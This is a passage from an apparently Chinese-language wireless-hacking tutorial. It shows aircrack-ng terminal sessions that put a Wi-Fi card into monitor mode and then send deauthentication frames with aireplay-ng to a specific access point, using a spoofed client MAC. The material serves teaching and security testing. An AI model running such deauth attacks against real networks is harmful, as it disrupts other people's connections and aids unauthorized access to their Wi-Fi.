键入上述命令,返回信息如果是下面这样的,无法开启监听模式的网卡,
可能驱动有问题或者网卡本身支持,具体查网卡芯片资料
Your kernel supports rfkill but you don't have rfkill installed.
To ensure devices are unblocked you must install rfkill.
Found 4 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'
PID Name
356 wpa_supplicant
519 avahi-daemon
543 avahi-daemon
635 dhcpcd
PHYInterfaceDriverChipset
nullwlan0??????Realtek Semiconductor Corp. RTL8192CU 802.11n WLAN Adapter
这是正常显示的信息:
ubuntu@ubuntu:~$ sudo airmon-ng start wlan0
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'
PID Name
1230 avahi-daemon
1231 avahi-daemon
1709 NetworkManager
2097 wpa_supplicant
PHYInterfaceDriverChipset
phy0wlan0ath9kQualcomm Atheros AR9485 Wireless Network Adapter (rev 01)
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
新打开一个窗口,发送链接断开包:
ubuntu@ubuntu:~$ sudo aireplay-ng -0 1 -a 5C:E3:B6:0A:16:58 -h AC:F7:F3:87:37:38 wlan0mon
The interface MAC (24:FD:52:E0:F6:D5) doesn't match the specified MAC (-h).
ifconfig wlan0mon hw ether AC:F7:F3:87:37:38
07:57:54 Waiting for beacon frame (BSSID: 5C:E3:B6:0A:16:58) on channel 11
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
07:57:54 Sending DeAuth to broadcast -- BSSID: [5C:E3:B6:0A:16:58]
ubuntu@ubuntu:~$